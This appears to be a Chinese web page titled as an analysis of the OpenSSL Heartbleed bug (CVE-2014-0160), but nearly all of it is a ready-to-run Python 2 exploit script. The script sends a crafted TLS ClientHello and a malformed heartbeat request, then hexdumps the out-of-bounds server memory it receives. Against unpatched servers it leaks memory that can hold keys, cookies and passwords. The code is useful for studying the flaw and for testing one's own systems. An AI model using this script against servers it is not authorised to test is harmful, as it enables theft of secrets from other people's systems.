Openssl“心臟出血”漏洞分析及其利用

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email]jspenguin@jspenguin.org[/email])

# The author disclaims copyright to this source code.

import sys

import struct

import socket

import time

import select

import re

from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h3bin(x):

   return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h3bin('''

16 03 02 00  dc 01 00 00 d8 03 02 53

43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf

bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88

00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c

c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09

c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44

c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c

c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11

00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04

03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19

00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08

00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13

00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00

00 0f 00 01 01                                  

''')

hb = h3bin('''

18 03 02 00 03

01 40 00

''')

def hexdump(s):

   for b in xrange(0, len(s), 16):

       lin = [c for c in s[b : b + 16]]

       hxdat = ' '.join('%02X' % ord(c) for c in lin)

       pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

       print '  %04x: %-48s %s' % (b, hxdat, pdat)

   print

def recvall(s, length, timeout=5):

   endtime = time.time() + timeout

   rdata = ''

   remain = length

   while remain > 0:

       rtime = endtime - time.time()

       if rtime < 0:

           return None

       r, w, e = select.select([s], [], [], 5)

       if s in r:

           data = s.recv(remain)

           # EOF?

           if not data:

               return None

           rdata += data

           remain -= len(data)

   return rdata

def recvmsg(s):

   hdr = recvall(s, 5)

   if hdr is None:

       print 'Unexpected EOF receiving record header - server closed connection'

       return None, None, None

   typ, ver, ln = struct.unpack('>BHH', hdr)

   pay = recvall(s, ln, 10)

   if pay is None:

       print 'Unexpected EOF receiving record payload - server closed connection'

       return None, None, None

   print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

   return typ, ver, pay

def hit_hb(s):

   s.send(hb)

   while True:

       typ, ver, pay = recvmsg(s)

       if typ is None:

           print 'No heartbeat response received, server likely not vulnerable'

           return False

       if typ == 24:

           print 'Received heartbeat response:'

           hexdump(pay)

           if len(pay) > 3:

               print 'WARNING: server returned more data than it should - server is vulnerable!'

           else:

               print 'Server processed malformed heartbeat, but did not return any extra data.'

           return True

       if typ == 21:

           print 'Received alert:'

           hexdump(pay)

           print 'Server returned error, likely not vulnerable'

           return False

def main():

   opts, args = options.parse_args()

   if len(args) < 1:

       options.print_help()

       return

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

   print 'Connecting...'

   sys.stdout.flush()

   s.connect((args[0], opts.port))

   print 'Sending Client Hello...'

   sys.stdout.flush()

   s.send(hello)

   print 'Waiting for Server Hello...'

   sys.stdout.flush()

   while True:

       typ, ver, pay = recvmsg(s)

       if typ == None:

           print 'Server closed connection without sending Server Hello.'

           return

       # Look for server hello done message.

       if typ == 22 and ord(pay[0]) == 0x0E:

           break

   print 'Sending heartbeat request...'

   sys.stdout.flush()

   s.send(hb)

   hit_hb(s)

if __name__ == '__main__':

   main()